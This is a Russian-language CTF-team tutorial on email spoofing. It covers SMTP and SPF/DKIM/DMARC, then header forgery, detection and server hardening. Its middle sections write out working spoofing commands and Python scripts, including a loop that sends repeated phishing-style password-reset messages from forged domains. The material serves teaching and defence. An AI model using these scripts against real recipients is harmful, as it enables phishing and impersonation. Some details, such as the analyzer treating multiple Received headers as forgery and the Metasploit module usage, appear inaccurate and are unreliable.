Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/email_spoofing.md

Цель статьи

Email spoofing — это техника подделки адреса отправителя электронной почты, которая используется злоумышленниками для обмана получателей. Цель данной статьи — определить, что такое email spoofing, и показать, почему этот вид атаки представляет угрозу для современных коммуникационных систем. Мы также подчеркнем актуальность темы для специалистов по безопасности и разработчиков, которые сталкиваются с необходимостью защиты своих систем от подобных угроз.

Исторический контекст и мотивация

Email spoofing не является новой угрозой. Например, в 2014 году произошел инцидент с крупной утечкой данных компании Sony Pictures, где поддельные электронные письма использовались для фишинговых атак. Подобные случаи демонстрируют, насколько разрушительными могут быть последствия таких атак.

Понимание механики подделки сообщений важно не только для защиты корпоративных сетей, но и для проведения тестов в образовательных целях. Это знание помогает специалистам по безопасности выявлять уязвимости и разрабатывать более надежные системы защиты.

Основы электронной почты и аутентификации

Протокол SMTP

Протокол SMTP (Simple Mail Transfer Protocol) используется для отправки электронных писем. Он работает по принципу передачи сообщений между серверами, однако изначально не был разработан с учетом безопасности. Это делает его уязвимым для атак, таких как email spoofing. Например, злоумышленник может подделать поле "From", чтобы письмо выглядело как отправленное доверенным источником.

Основные команды SMTP

  • HELO/EHLO: используется для идентификации клиента перед сервером.
  • MAIL FROM: указывает адрес отправителя.
  • RCPT TO: указывает адрес получателя.
  • DATA: начинает передачу содержимого письма (заголовков и тела).
  • QUIT: завершает соединение с сервером.
  • VRFY: проверяет существование указанного адреса (может быть отключена на сервере из соображений безопасности).
  • RSET: сбрасывает текущую транзакцию.
  • NOOP: проверяет доступность сервера без выполнения каких-либо действий.
EHLO example.com
MAIL FROM:<attacker@example.com>
RCPT TO:<victim@example.com>
DATA
Subject: Spoofed Email
This is an example of a spoofed email.
.
QUIT

Структура email-сообщения

Электронное письмо состоит из двух основных частей: заголовков и тела сообщения. Заголовки содержат важную информацию, которая может быть использована для аутентификации:

  • From: адрес отправителя (может быть подделан).
  • To: адрес получателя.
  • Date: дата отправки сообщения.
  • Received: список серверов, через которые прошло сообщение.
  • Message-ID: уникальный идентификатор сообщения.
From: trusted@example.com
To: victim@example.com
Date: Mon, 25 Sep 2023 10:00:00 +0000
Subject: Important Notice
Message-ID: <12345@example.com>

Механизмы аутентификации

SPF (Sender Policy Framework)

SPF позволяет владельцам доменов указывать, какие серверы имеют право отправлять письма от их имени. Это достигается путем добавления SPF-записи в DNS.

Принцип работы

  1. Сервер получателя извлекает SPF-запись домена отправителя из DNS.
  2. Проверяется, соответствует ли IP-адрес отправителя списку разрешенных адресов в SPF-записи.
  3. Результат проверки (pass, fail, softfail и т.д.) добавляется в заголовок Authentication-Results.

Пример SPF-записи

v=spf1 ip4:192.0.2.0/24 include:_spf.google.com -all
  • ip4:192.0.2.0/24: разрешает отправку с IP-адресов в указанном диапазоне.
  • include:_spf.google.com: разрешает отправку с серверов Google.
  • -all: запрещает отправку с любых других серверов.

Типичные ошибки

  • Использование мягкой политики ~all, которая допускает сообщения с предупреждением, вместо строгой -all.
  • Пропуск IP-адресов легитимных серверов, что приводит к ошибкам доставки.

DKIM (DomainKeys Identified Mail)

DKIM добавляет цифровую подпись к сообщениям, чтобы подтвердить их подлинность и целостность.

Принцип работы

  1. Отправитель подписывает определенные заголовки письма (например, From, Subject) с использованием закрытого ключа.
  2. Получатель извлекает открытый ключ из DNS-записи домена отправителя.
  3. Подпись проверяется, чтобы убедиться, что письмо не было изменено.

Пример DKIM-записи в DNS

default._domainkey.example.com IN TXT "v=DKIM1; k=rsa; p=..."
  • v=DKIM1: версия DKIM.
  • k=rsa: алгоритм шифрования.
  • p=...: открытый ключ.

Типичные ошибки

  • Неправильная настройка DNS-записей, из-за чего подпись не может быть проверена.
  • Несоответствие между подписанными заголовками и содержимым письма, что приводит к сбою проверки.

DMARC (Domain-based Message Authentication, Reporting, and Conformance)

DMARC объединяет SPF и DKIM, предоставляя политику обработки сообщений, которые не проходят проверку.

Принцип работы

  1. Проверяется соответствие SPF и/или DKIM.
  2. Применяется политика (например, none, quarantine, reject).
  3. Отправляются отчеты владельцу домена о результатах проверки.

Пример DMARC-записи

_dmarc.example.com IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com"
  • v=DMARC1: версия DMARC.
  • p=reject: политика отклонения писем, которые не проходят проверку.
  • rua=mailto:dmarc-reports@example.com: адрес для получения отчетов.

Типичные ошибки

  • Отсутствие отчетов DMARC, что затрудняет мониторинг.
  • Неправильная настройка политики, например, слишком мягкая p=none, которая не блокирует поддельные письма.

Сравнение механизмов

Механизм Основная задача Преимущества Ограничения
SPF Проверка IP-адреса отправителя Простота настройки Не защищает от подделки заголовков
DKIM Проверка подлинности и целостности Защищает от изменения содержимого Требует сложной настройки
DMARC Объединение SPF и DKIM Централизованная политика и отчеты Зависит от корректной настройки SPF и DKIM

Технический анализ Email Spoofing (T1672)

Описание метода и его классификация

Email Spoofing классифицируется как техника социальной инженерии, направленная на обман получателя путем подделки заголовков письма. В контексте MITRE ATT&CK эта техника относится к тактике Initial Access (первоначальный доступ) и обозначается как T1672.

  • Тактика: Initial Access.
  • Техника: Email Spoofing (T1672).
  • Процедуры:
    • Использование поддельных доменов, визуально схожих с легитимными.
    • Манипуляция заголовками для обхода базовых проверок аутентификации.

Подделка заголовков письма

Подделка заголовков — это ключевой аспект Email Spoofing. Злоумышленники манипулируют полями заголовков, чтобы письмо выглядело как отправленное доверенным источником.

Технические детали

  • Поле "From": подделывается для отображения ложного адреса отправителя.
  • Поле "Reply-To": может быть изменено для перенаправления ответов на адрес злоумышленника.
  • Поле "Received": может быть модифицировано для сокрытия реального пути сообщения.

Пример поддельного заголовка:

From: "Trusted Company" <support@trusted.com>
Reply-To: attacker@malicious.com
To: victim@example.com
Subject: Urgent: Account Verification Required
Received: from attacker.com (192.0.2.1) by victim.com

Демонстрация процесса атаки

Пошаговое объяснение метода

  1. Выбор цели: злоумышленник определяет адресата, например, сотрудника компании.
  2. Создание поддельного письма:
    • Используется SMTP-сервер с минимальными проверками.
    • Манипулируются заголовки, такие как "From" и "Reply-To".
  3. Отправка письма:
    • Письмо отправляется с поддельного адреса.
    • Пример команды SMTP:
      MAIL FROM:<spoofed@trusted.com>
      RCPT TO:<victim@example.com>
      DATA
      Subject: Important Update
      From: Trusted Company <spoofed@trusted.com>
      Reply-To: attacker@malicious.com
      This is a spoofed email.
      .
      
  4. Эксплуатация:
    • Получатель открывает письмо, доверяя поддельному отправителю.
    • Злоумышленник может использовать письмо для фишинга, распространения вредоносного ПО или других атак.

Возможные сценарии эксплуатации

  • Фишинг: злоумышленник отправляет письмо с поддельным адресом, чтобы получить учетные данные.
  • Распространение вредоносного ПО: письмо содержит вредоносные вложения или ссылки.
  • Социальная инженерия: письмо используется для обмана сотрудников с целью получения конфиденциальной информации.

Инструменты и методы проведения атаки

Обзор утилит и скриптов

Для отправки поддельных e-mail используются различные утилиты и скрипты. Вот несколько популярных инструментов:

1. sendemail (написан на Perl)

  • Описание: Легкий инструмент для отправки писем через SMTP. Подходит для простых сценариев.
  • Пример использования:
    sendemail -f spoofed@trusted.com -t victim@example.com -u "Subject" -m "Message body" -s smtp.example.com:25
    
  • Разбор команды:
    • -f: указывает поддельный адрес отправителя.
    • -t: адрес получателя.
    • -u: тема письма.
    • -m: текст сообщения.
    • -s: SMTP-сервер и порт.

2. smtplib (Python)

  • Описание: Библиотека для работы с SMTP, встроенная в Python. Позволяет гибко настраивать отправку писем.
  • Пример скрипта:
    import smtplib
    
    server = smtplib.SMTP('smtp.example.com', 25)
    server.helo('example.com')
    server.mail('spoofed@trusted.com')
    server.rcpt('victim@example.com')
    server.data('Subject: Spoofed Email\n\nThis is a spoofed email.')
    server.quit()
    
  • Разбор кода:
    • SMTP('smtp.example.com', 25): подключение к SMTP-серверу.
    • helo('example.com'): идентификация клиента.
    • mail('spoofed@trusted.com'): указание поддельного адреса отправителя.
    • rcpt('victim@example.com'): указание адреса получателя.
    • data(...): передача заголовков и тела письма.

3. msfconsole (Metasploit Framework)

  • Описание: Мощный инструмент для автоматизации атак, включая email spoofing.
  • Пример команды:
    use auxiliary/server/smtp
    set MAILFROM spoofed@trusted.com
    set RHOST victim.example.com
    run
    
  • Разбор команды:
    • use auxiliary/server/smtp: выбор модуля SMTP-сервера.
    • set MAILFROM: установка поддельного адреса отправителя.
    • set RHOST: указание целевого SMTP-сервера.
    • run: запуск модуля.

4. bash + netcat

  • Описание: Использование bash и netcat для ручной отправки писем через SMTP.
  • Пример команды:
    echo -e "HELO example.com\nMAIL FROM:<spoofed@trusted.com>\nRCPT TO:<victim@example.com>\nDATA\nSubject: Spoofed Email\n\nThis is a spoofed email.\n.\nQUIT" | nc smtp.example.com 25
    
  • Разбор команды:
    • echo -e: передача последовательности SMTP-команд.
    • HELO example.com: идентификация клиента.
    • MAIL FROM: указание поддельного адреса отправителя.
    • RCPT TO: указание адреса получателя.
    • DATA: начало передачи тела письма.
    • QUIT: завершение соединения.
    • | nc smtp.example.com 25: отправка команд на указанный SMTP-сервер через порт 25.

Практические примеры

Пример 1: Сложная атака с использованием Python и подделкой заголовков

  1. Цель: отправить письмо с поддельным адресом отправителя и манипуляцией заголовками для обхода базовых проверок.

  2. Код:

    import smtplib
    
    sender = "spoofed@trusted.com"
    recipient = "victim@example.com"
    subject = "Critical Security Update"
    body = "Please update your credentials immediately."
    
    # Подделка заголовков
    headers = f"""From: "Trusted Support" <{sender}>
    To: {recipient}
    Subject: {subject}
    Reply-To: attacker@malicious.com
    X-Mailer: CustomMailer 1.0
    """
    
    message = headers + "\n" + body
    
    with smtplib.SMTP('smtp.example.com', 25) as server:
        server.helo('malicious.com')
        server.sendmail(sender, recipient, message)
    
  3. Особенности:

    • Добавлены заголовки Reply-To и X-Mailer для усложнения анализа.
    • Используется поддельный HELO-домен.
  4. Ошибки:

    • Сервер может отклонить письмо, если включена проверка SPF/DKIM.
    • Неправильный формат заголовков может привести к некорректной доставке.

Пример 2: Ручная отправка через telnet с манипуляцией полем Received

  1. Цель: отправить письмо вручную через telnet с подделкой цепочки серверов.

  2. Шаги:

    telnet smtp.example.com 25
    HELO malicious.com
    MAIL FROM:<spoofed@trusted.com>
    RCPT TO:<victim@example.com>
    DATA
    Received: from trusted.com (192.0.2.1) by victim.com; Mon, 25 Sep 2023 10:00:00 +0000
    From: "Trusted Support" <spoofed@trusted.com>
    To: victim@example.com
    Subject: Urgent: Account Verification Required
    Reply-To: attacker@malicious.com
    
    This is a spoofed email with a manipulated Received header.
    .
    QUIT
    
  3. Особенности:

    • Добавлено поддельное поле Received для сокрытия реального пути сообщения.
    • Используется поддельный HELO-домен.
  4. Ошибки:

    • Сервер может отклонить соединение, если включена проверка HELO-домена.
    • Неправильный формат поля Received может выдать подделку.

Пример 3: Использование Python для массовой рассылки с поддельными доменами

  1. Цель: отправить серию писем с поддельными доменами для обхода фильтров.

  2. Код:

    import smtplib
    from random import choice
    
    sender_domains = ["trusted.com", "secure.com", "official.com"]
    recipient = "victim@example.com"
    subject = "Action Required"
    body = "Your account has been compromised. Please reset your password."
    
    for _ in range(10):  # Отправляем 10 писем
        sender = f"spoofed@{choice(sender_domains)}"
        headers = f"""From: "Support Team" <{sender}>
        To: {recipient}
        Subject: {subject}
        Reply-To: attacker@malicious.com
        """
    
        message = headers + "\n" + body
    
        with smtplib.SMTP('smtp.example.com', 25) as server:
            server.helo('malicious.com')
            server.sendmail(sender, recipient, message)
    
  3. Особенности:

    • Используются случайные домены для усложнения анализа.
    • Добавлено поле Reply-To для перенаправления ответов.
  4. Ошибки:

    • Возможна блокировка из-за большого количества писем.
    • Неправильная настройка SMTP-сервера может привести к сбоям.

Анализ и обнаружение поддельных сообщений

Методы анализа заголовков

Заголовки письма содержат ключевую информацию, которая может помочь выявить подделку. Основные шаги анализа:

  1. Проверка поля "Received":

    • Поле показывает цепочку серверов, через которые прошло письмо.
    • Несоответствия, такие как неожиданные IP-адреса или домены, могут указывать на подделку.
  2. Анализ поля "From":

    • Сравните адрес отправителя с доменом в поле "Received".
    • Если домены не совпадают, это может быть признаком spoofing.
  3. Проверка DKIM и SPF:

    • Убедитесь, что заголовки DKIM-Signature и Authentication-Results указывают на успешную проверку.
    • Пример заголовка DKIM:
      DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=default; ...
      
  4. Анализ поля "Reply-To":

    • Проверьте, совпадает ли адрес в этом поле с адресом отправителя. Несоответствие может быть признаком атаки.

Инструменты для диагностики

Для анализа заголовков и диагностики писем можно использовать следующие инструменты:

  1. MxToolbox:

    • Онлайн-сервис для анализа заголовков писем.
    • Позволяет проверить SPF, DKIM и DMARC.
  2. Email Header Analyzer:

    • Утилита для визуализации цепочки серверов из поля "Received".
  3. Wireshark:

    • Используется для анализа SMTP-трафика.
    • Фильтр для SMTP:
      smtp
      
  4. Python-скрипт для анализа заголовков:

def analyze_headers(headers):
    issues = []

    # Проверка поля "Received"
    received_lines = [line for line in headers.split("\n") if line.startswith("Received:")]
    if len(received_lines) > 1:
        issues.append("Несоответствие в цепочке 'Received': проверьте IP-адреса и домены.")

    # Проверка поля "From"
    from_line = next((line for line in headers.split("\n") if line.startswith("From:")), None)
    if from_line and "@" not in from_line:
        issues.append("Поле 'From' некорректно: отсутствует адрес отправителя.")

    # Проверка DKIM
    dkim_line = next((line for line in headers.split("\n") if line.startswith("DKIM-Signature:")), None)
    if not dkim_line:
        issues.append("Отсутствует DKIM-подпись.")

    # Проверка SPF
    auth_results = next((line for line in headers.split("\n") if line.startswith("Authentication-Results:")), None)
    if auth_results and "spf=fail" in auth_results:
        issues.append("SPF-проверка не пройдена.")

    # Вывод результатов
    if issues:
        print("Обнаружены проблемы:")
        for issue in issues:
            print(f"- {issue}")
    else:
        print("Заголовки выглядят корректно.")

# Пример заголовков для анализа
email_headers = """Received: from attacker.com (192.0.2.1)
From: spoofed@trusted.com
Authentication-Results: spf=fail; dkim=none
DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=default; ...
"""

# Запуск анализа
analyze_headers(email_headers)

Разбор скрипта

  1. Проверка поля "Received":

    • Считываются все строки, начинающиеся с Received:.
    • Если цепочка содержит более одного элемента, это может указывать на подделку.
  2. Проверка поля "From":

    • Проверяется наличие адреса отправителя.
    • Если адрес отсутствует или некорректен, добавляется предупреждение.
  3. Проверка DKIM:

    • Ищется строка с DKIM-Signature.
    • Если подпись отсутствует, это фиксируется как проблема.
  4. Проверка SPF:

    • Анализируется строка Authentication-Results.
    • Если указано spf=fail, это указывает на проблему с проверкой SPF.
  5. Вывод результатов:

    • Все обнаруженные проблемы выводятся в консоль.
    • Если проблем нет, выводится сообщение о корректности заголовков.

Примеры анализа

Пример 1: Несоответствие в поле "Received"

  1. Заголовки письма:
    Received: from attacker.com (192.0.2.1) by victim.com
    From: trusted@company.com
    
  2. Анализ:
    • Поле "Received" показывает, что письмо пришло с attacker.com, а не с домена company.com.
    • Это явное несоответствие указывает на подделку.

Пример 2: Отсутствие DKIM-подписи

  1. Заголовки письма:
    From: trusted@company.com
    Authentication-Results: spf=pass; dkim=none
    
  2. Анализ:
    • Поле Authentication-Results указывает, что DKIM-подпись отсутствует, хотя домен company.com обычно использует DKIM.
    • Это может быть признаком spoofing.

Пример 3: Поддельное поле "Reply-To"

  1. Заголовки письма:
    From: trusted@company.com
    Reply-To: attacker@malicious.com
    
  2. Анализ:
    • Поле "Reply-To" указывает на адрес, отличный от отправителя.
    • Это может быть попыткой перенаправить ответы на адрес злоумышленника.

Меры защиты и предотвращения Email Spoofing

Настройка почтовых серверов и протоколов

Для минимизации риска spoofing важно правильно настроить SMTP-серверы. Основные рекомендации:

  1. Ограничение открытых релеев:

    • Убедитесь, что сервер не позволяет пересылку писем от неавторизованных пользователей.
    • Пример настройки для Postfix:
      smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination
      
  2. Включение шифрования:

    • Настройте поддержку TLS для защиты передаваемых данных.
    • Пример настройки:
      smtpd_tls_security_level = may
      smtp_tls_security_level = encrypt
      
  3. Логирование:

    • Включите детальное логирование для отслеживания подозрительных действий.
    • Пример настройки:
      maillog_file = /var/log/maillog
      

Дополнительные меры

  1. Корпоративные политики безопасности:

    • Ограничьте доступ к SMTP-серверам только для авторизованных пользователей.
    • Регулярно обновляйте программное обеспечение почтовых серверов.
  2. Обучение сотрудников:

    • Проводите тренинги по распознаванию фишинговых писем.
    • Разработайте инструкции для сотрудников по проверке подозрительных писем.
  3. Мониторинг почтового трафика:

    • Используйте инструменты для анализа логов и выявления аномалий.
    • Пример инструмента: Splunk или ELK Stack.

Современные тренды защиты

  1. Алгоритмы машинного обучения:

    • Используйте модели машинного обучения для анализа почтового трафика и выявления аномалий.
    • Пример: классификация писем на основе их метаданных и содержания.
  2. Анализ логов:

    • Автоматизируйте анализ логов для выявления подозрительных действий.
    • Пример: настройка автоматических оповещений при обнаружении аномалий в логах.
  3. Интеграция с SIEM-системами:

    • Подключите почтовые серверы к SIEM для централизованного мониторинга и анализа.
    • Пример: использование Splunk для корреляции событий.

Заключение и дополнительные материалы

Основные выводы

Email spoofing остается одной из наиболее распространенных угроз в области кибербезопасности. Основные аспекты, которые были рассмотрены:

  • Методы атаки: манипуляция заголовками, использование уязвимостей SMTP.
  • Механизмы защиты: внедрение SPF, DKIM и DMARC, правильная настройка почтовых серверов.
  • Анализ и обнаружение: использование инструментов для диагностики и анализа заголовков.

Для эффективной защиты необходимо сочетать технические меры с обучением сотрудников и мониторингом почтового трафика.

Рекомендации для специалистов и ссылки для дальнейшего изучения

Рекомендации

  1. Настройте SPF, DKIM и DMARC для всех корпоративных доменов.
  2. Регулярно проверяйте почтовые серверы на наличие уязвимостей.
  3. Используйте инструменты анализа логов и SIEM-системы для мониторинга трафика.
  4. Проводите тренинги для сотрудников по распознаванию фишинговых писем.

Полезные ссылки